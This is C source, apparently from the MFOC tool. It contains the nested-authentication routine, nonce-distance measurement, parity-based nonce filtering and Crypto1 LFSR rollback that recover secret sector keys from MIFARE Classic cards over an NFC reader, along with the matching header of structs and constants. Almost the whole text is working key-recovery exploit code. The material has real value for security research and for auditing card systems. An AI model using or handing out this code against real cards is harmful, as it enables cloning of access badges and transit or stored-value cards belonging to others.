fprintf(stderr, "\n\nNo sector encrypted with the default key has been found, exiting..\n");
exit(1);
}
void mf_anticollision(mftag t, mfreader r) {
if (!nfc_initiator_select_tag(r.pdi, NM_ISO14443A_106, NULL, 0, &t.ti)) {
fprintf(stderr, "\n\n!Error: tag has been removed\n");
exit(1);
}
}
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) {
struct Crypto1State* pcs;
struct Crypto1State* revstate;
struct Crypto1State* revstate_start;
uint64_t lfsr;
// Possible key counter, just continue with a previous "session"
uint32_t kcount = pk->size;
byte_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce
byte_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
byte_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
byte_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
byte_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
byte_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
byte_t Rx[MAX_FRAME_LEN]; // Tag response
byte_t RxPar[MAX_FRAME_LEN]; // Tag response
size_t RxLen;
u_int32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
int i, m;
// Prepare AUTH command
Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
append_iso14443a_crc(Auth,2);
// fprintf(stdout, "\nAuth command:\t");
// print_hex(Auth, 4);
// We need full control over the CRC
nfc_configure(r.pdi,NDO_HANDLE_CRC,false);
// Request plain tag-nonce
// fprintf(stdout, "\t[Nt]:\t");
if (!nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, &RxLen)) {
fprintf(stdout, "Error requesting plain tag-nonce\n");
exit(1);
}
// print_hex(Rx, 4);
// Save the tag nonce (Nt)
Nt = bytes_to_num(Rx, 4);
// Init the cipher with key {0..47} bits
if (t.sectors[e_sector].foundKeyA) {
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
} else {
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
}
// Load (plain) uid^nt into the cipher {48..79} bits
crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 0);
// Generate (encrypted) nr+parity by loading it into the cipher
for (i = 0; i < 4; i++) {
// Load in, and encrypt the reader nonce (Nr)
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
}
// Skip 32 bits in the pseudo random generator
Nt = prng_successor(Nt, 32);
// Generate reader-answer from tag-nonce
for (i = 4; i < 8; i++) {
// Get the next random byte
Nt = prng_successor(Nt, 8);
// Encrypt the reader-answer (Nt' = suc2(Nt))
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xff);
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
}
// Finally we want to send arbitrary parity bits
nfc_configure(r.pdi, NDO_HANDLE_PARITY, false);
// Transmit reader-answer
// fprintf(stdout, "\t{Ar}:\t");
// print_hex_par(ArEnc, 64, ArEncPar);
if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
fprintf(stderr, "Reader-answer transfer error, exiting..\n");
exit(1);
}
// Now print the answer from the tag
// fprintf(stdout, "\t{At}:\t");
// print_hex_par(Rx,RxLen,RxPar);
// Decrypt the tag answer and verify that suc3(Nt) is At
Nt = prng_successor(Nt, 32);
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting..\n");
exit(1);
}
// fprintf(stdout, "Authentication completed.\n\n");
// If we are in "Get Distances" mode
if (mode == 'd') {
for (m = 0; m < d->num_distances; m++) {
// fprintf(stdout, "Nested Auth number: %x: ,", m);
// Encrypt Auth command with the current keystream
for (i = 0; i < 4; i++) {
AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
// Encrypt the parity bits with the 4 plaintext bytes
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
}
// Sending the encrypted Auth command
if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, &RxLen, RxPar)) {
fprintf(stdout, "Error requesting encrypted tag-nonce\n");
exit(1);
}
// Decrypt the encrypted auth
if (t.sectors[e_sector].foundKeyA) {
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
} else {
pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
}
NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.uid, 1);
// Save the determined nonces distance
d->distances[m] = nonce_distance(Nt, NtLast);
// fprintf(stdout, "distance: %05d\n", d->distances[m]);
// Again, prepare and send {At}
for (i = 0; i < 4; i++) {
ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
}
Nt = prng_successor(NtLast, 32);
for (i = 4; i < 8; i++) {
Nt = prng_successor(Nt, 8);
ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xFF);
ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
}
nfc_configure(r.pdi,NDO_HANDLE_PARITY,false);
if ((!nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, &RxLen, RxPar)) || (RxLen != 32)) {
fprintf(stderr, "Reader-answer transfer error, exiting..\n");
exit(1);
}
Nt = prng_successor(Nt, 32);
if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
fprintf(stderr, "[At] is not Suc3(Nt), something is wrong, exiting..\n");
exit(1);
}
} // Next auth probe
// Find median from all distances
d->median = median(*d);
//fprintf(stdout, "Median: %05d\n", d->median);
} // The end of Get Distances mode
// If we are in "Get Recovery" mode
if (mode == 'r') {
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
Auth[0] = dumpKeysA ? 0x60 : 0x61;
Auth[1] = a_sector;
append_iso14443a_crc(Auth,2);
// Encryption of the Auth command, sending the Auth command
for (i = 0; i < 4; i++) {
AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
// Encrypt the parity bits with the 4 plaintext bytes
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
}
if (!nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, &RxLen, RxPar)) {
fprintf(stdout, "Error requesting encrypted tag-nonce\n");
exit(1);
}
// Save the encrypted nonce
NtEnc = bytes_to_num(Rx, 4);
// Parity validity check
for (i = 0; i < 3; ++i) {
d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
}
// Iterate over Nt-x, Nt+x
// fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
NtProbe = prng_successor(Nt, d->median-d->tolerance);
for (m = d->median-d->tolerance; m <= d->median+d->tolerance; m +=2) {
// Try to recover the keystream1
Ks1 = NtEnc ^ NtProbe;
// Skip this nonce after invalid 3b parity check
revstate_start = NULL;
if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
// And finally recover the first 32 bits of the key
revstate = lfsr_recovery32(Ks1, NtProbe ^ t.uid);
if (revstate_start == NULL) {
revstate_start = revstate;
}
while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
lfsr_rollback_word(revstate, NtProbe ^ t.uid, 0);
crypto1_get_lfsr(revstate, &lfsr);
// Allocate a new space for keys
if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
pk->size += MEM_CHUNK;
// fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t));
if (pk->possibleKeys == NULL) {
fprintf(stderr, "Memory allocation error for pk->possibleKeys\n");
exit(1);
}
}
pk->possibleKeys[kcount] = lfsr;
kcount++;
revstate++;
}
free(revstate_start);
}
NtProbe = prng_successor(NtProbe, 2);
}
// Truncate
if (kcount != 0) {
pk->size = --kcount;
if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) {
fprintf(stderr, "Memory allocation error for pk->possibleKeys\n");
exit(1);
}
}
}
crypto1_destroy(pcs);
return 0;
}
// Return the median value from the nonce distances array
uint32_t median(denonce d) {
int middle = (int) d.num_distances / 2;
qsort(d.distances, d.num_distances, sizeof(u_int32_t), compar_int);
if (d.num_distances % 2 == 1) {
// Odd number of elements
return d.distances[middle];
} else {
// Even number of elements, return the smaller value
return (uint32_t) (d.distances[middle-1]);
}
}
int compar_int(const void * a, const void * b) {
return (*(uint64_t*)b - *(uint64_t*)a);
}
// Compare countKeys structure
int compar_special_int(const void * a, const void * b) {
return (((countKeys *)b)->count - ((countKeys *)a)->count);
}
countKeys * uniqsort(uint64_t * possibleKeys, uint32_t size) {
int i, j = 0;
int count = 0;
countKeys *our_counts;
qsort(possibleKeys, size, sizeof (uint64_t), compar_int);
our_counts = calloc(size, sizeof(countKeys));
if (our_counts == NULL) {
fprintf(stderr, "Memory allocation error for our_counts\n");
exit(1);
}
for (i = 0; i < size; i++) {
if (possibleKeys[i+1] == possibleKeys[i]) {
count++;
} else {
our_counts[j].key = possibleKeys[i];
our_counts[j].count = count;
j++;
count=0;
}
}
qsort(our_counts, j, sizeof(countKeys), compar_special_int);
return (our_counts);
}
// Return 1 if the nonce is invalid else return 0
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, byte_t * parity) {
return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \
(odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \
(odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0;
}
void num_to_bytes(uint64_t n, uint32_t len, byte_t* dest) {
while (len--) {
dest[len] = (byte_t) n;
n >>= 8;
}
}
long long unsigned int bytes_to_num(byte_t* src, uint32_t len) {
uint64_t num = 0;
while (len--)
{
num = (num << 8) | (*src);
src++;
}
return num;
}

86
src/mfoc.h Normal file
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#define MEM_CHUNK 10000
#define TRY_KEYS 50
// Number of trailers == number of sectors
// 16x64b = 16
#define NR_TRAILERS_1k (16)
// 32x64b + 8*256b = 40
#define NR_TRAILERS_4k (40)
#define MAX_FRAME_LEN 264
// Used for counting nonce distances, explore [nd-value, nd+value]
#define DEFAULT_TOLERANCE 20
// Default number of distance probes
#define DEFAULT_DIST_NR 15
// Default number of probes for a key recovery for one sector
#define DEFAULT_PROBES_NR 150
// Number of sets with 32b keys
#define DEFAULT_SETS_NR 5
#define odd_parity(i) (( (i) ^ (i)>>1 ^ (i)>>2 ^ (i)>>3 ^ (i)>>4 ^ (i)>>5 ^ (i)>>6 ^ (i)>>7 ^ 1) & 0x01)
typedef struct {
byte_t KeyA[6];
byte_t KeyB[6];
bool foundKeyA;
bool foundKeyB;
byte_t trailer; // Value of a trailer block
} sector;
typedef struct {
u_int32_t *distances;
u_int32_t median;
u_int32_t num_distances;
u_int32_t tolerance;
byte_t parity[3]; // used for 3 bits of parity information
} denonce; // Revealed information about nonce
typedef struct {
nfc_target_info_t ti;
sector * sectors; // Allocate later, we do not know the number of sectors yet
sector e_sector; // Exploit sector
uint32_t num_sectors;
uint32_t num_blocks;
uint32_t uid;
bool b4K;
} mftag;
typedef struct {
uint64_t *possibleKeys;
uint32_t size;
} pKeys;
typedef struct {
uint64_t *brokenKeys;
uint32_t size;
} bKeys;
typedef struct {
nfc_device_t *pdi;
} mfreader;
typedef struct {
uint64_t key;
int count;
} countKeys;
void usage(FILE * stream, int errno);
void mf_init(mftag *t, mfreader *r);
void mf_configure(nfc_device_t* pdi);
void mf_select_tag(nfc_device_t* pdi, nfc_target_info_t* ti);
int trailer_block(uint32_t block);
int find_exploit_sector(mftag t);
void mf_anticollision(mftag t, mfreader r);
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA);
uint32_t median(denonce d);
int compar_int(const void * a, const void * b);
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, byte_t * parity);
int compar_special_int(const void * a, const void * b);
countKeys * uniqsort(uint64_t *possibleKeys, uint32_t size);
void num_to_bytes(uint64_t n, uint32_t len, byte_t* dest);
long long unsigned int bytes_to_num(byte_t* src, uint32_t len);